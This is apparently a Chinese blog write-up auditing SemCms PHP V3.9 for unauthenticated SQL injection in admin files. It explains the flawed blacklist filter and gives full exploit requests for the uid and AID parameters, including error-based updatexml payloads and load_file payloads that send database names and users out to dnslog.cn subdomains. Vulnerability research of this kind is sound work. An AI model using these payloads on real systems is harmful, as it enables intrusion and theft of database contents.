首页 代码审计

1 简述

CNVD看到的,开源的CMS可自行到官网下载,注入点有点多,不过admin地址是随机的,所以大概只能拿来自己学习

审计版本:SemCms PHP(多语)版 V3.9
漏洞类型:SQL注入

2 审计

首先看下注入检测,这套cms代码是在代码层面写了检测的,具体在Include\contorl.php下。
采用黑名单检测,但只检测了部分关键字,这里默认对$_GET参数获取到的值进行了过滤,如下图所示
85446-0pac00mdis6.png
除此之外此文件下的test_input和Streplace函数在一定程度上也起到了防SQL注入的作用
59558-ktzzup22xn.png
57608-sfbwobobefd.png
然后看下代码里有没有什么绕过的方法或函数。。然而只找到了datato函数,把实体编码转回去
43148-dr6vbpdyhrf.png

这里思路就很简单了:

  • 找没调用上述函数的可控参数(主要为POST或REQUEST方式获得)
  • 数据存储未进行实体编码,但查询时调用了datato进行了实体解码
  • 绕检测

然后我找了下调用datato的位置,基本上都是输出html,没得搞,然后绕检测又太麻烦 ,最后还是找没调用上述函数的可控参数,这个cms里面有很多,不过。。我找到的都是在管理后台下的(如SEMCMS_Function.php),虽然不需要登录,但这管理路径名有随机字符啊!!而且这注入点还是无回显,差点给我干懵了
这对白盒审计来说意义不大,该水的还是得水, 这里选三个参数说明uid、AID、products_aurl
可以用正则方便查找(?<!test_input\(|verify_str\(|isset\()\$_POST
82727-f141mbrw8xi.png

2.1 uid参数

相关代码如下图所示,此处可以看到进入条件是GET参数CF=="fenpei",然后进入SQL注入点需要POST参数ID不为空就行了,其他就没有什么条件限制了
37302-ezbzbf0u0hw.png
接下来就看如何请求了,这个文件在开头实例化了AntDateProcess对象,而这个对象在并未在此文件下,所以我们找包含了SEMCMS_Function.php的文件,找到SEMCMS_Top_include.php

95936-qngjuud68yq.png

跟进进去,在开头可看到包含了另一个文件,inc.php里面写的是包含数据库连接文件db_conn.php以及注入检测文件contorl.php等。这里需要注意的是他写了个checkuser函数用于检测用户是否登录,但是这个函数是写在文件包含后面的,所以相当于无登录进行注入。
58213-ybf7hir68d.png
所以直接请求SEMCMS_Top_include.php就行了,因为这里是无回显的,所以可以进调试看下sql语句,请求构造

POST /Kmp31C_Admin/SEMCMS_Top_include.php?XDEBUG_SESSION_START=16454&CF=fenpei HTTP/1.1
Host: www.semcms.com
...

uid=123 and updatexml(1,concat(0x7e,user(),0x7e),1)#&ID=1

执行后可看到报错返回结果,证明此处注入存在
16243-dt0zwfkdke.png
我这里用户权限较高,且secure_file_priv为空,未做限制,所以可以用dnslog进行带出数据,payload:123 and (select load_file(concat('\\',(select hex(user())),'.vkyohu.dnslog.cn\test')))#
05658-p3twj9wiojf.png
发包后可获得结果
79932-nx81n2voqdm.png
50083-fiuyt1k3bh.png

2.2 AID参数

也在SEMCMS_Function.php下,这里把结果赋给了area_arr,然后调用了implode参数,把数组元素组合为字符串,所以参数需要提供为AID数组AID[]=XXX,不然其始终为null
91078-b7fvwwr1knu.png
找到注入点位置,此处看到个switch流程控制需条件为home,向上跟进
12726-0k0lvq3wz4lh.png
第一处条件就是GET参数CF=="products",switch传入变量为Class
71529-jhp26utp8n.png
Class为GET参数
44758-aqslna7yxed.png
所以综上请求包格式为:

POST /Kmp31C_Admin/SEMCMS_Top_include.php?CF=products&Class=homes HTTP/1.1
Host: www.semcms.com
...

AID[]=1) and (select load_file(concat('\\\\',(select database()),'.7t9ikz.dnslog.cn\\sql_test')))#

同样使用dnslog进行验证
64340-70f0jebs6l6.png
发包后dnslog回显
92440-gvmv8jdx4oj.png


还有个位置products_aurl就不写了,方法都一样,进入条件判断不来的话可以下断点调试,其他的注入点可以自己摸摸



文章评论

目录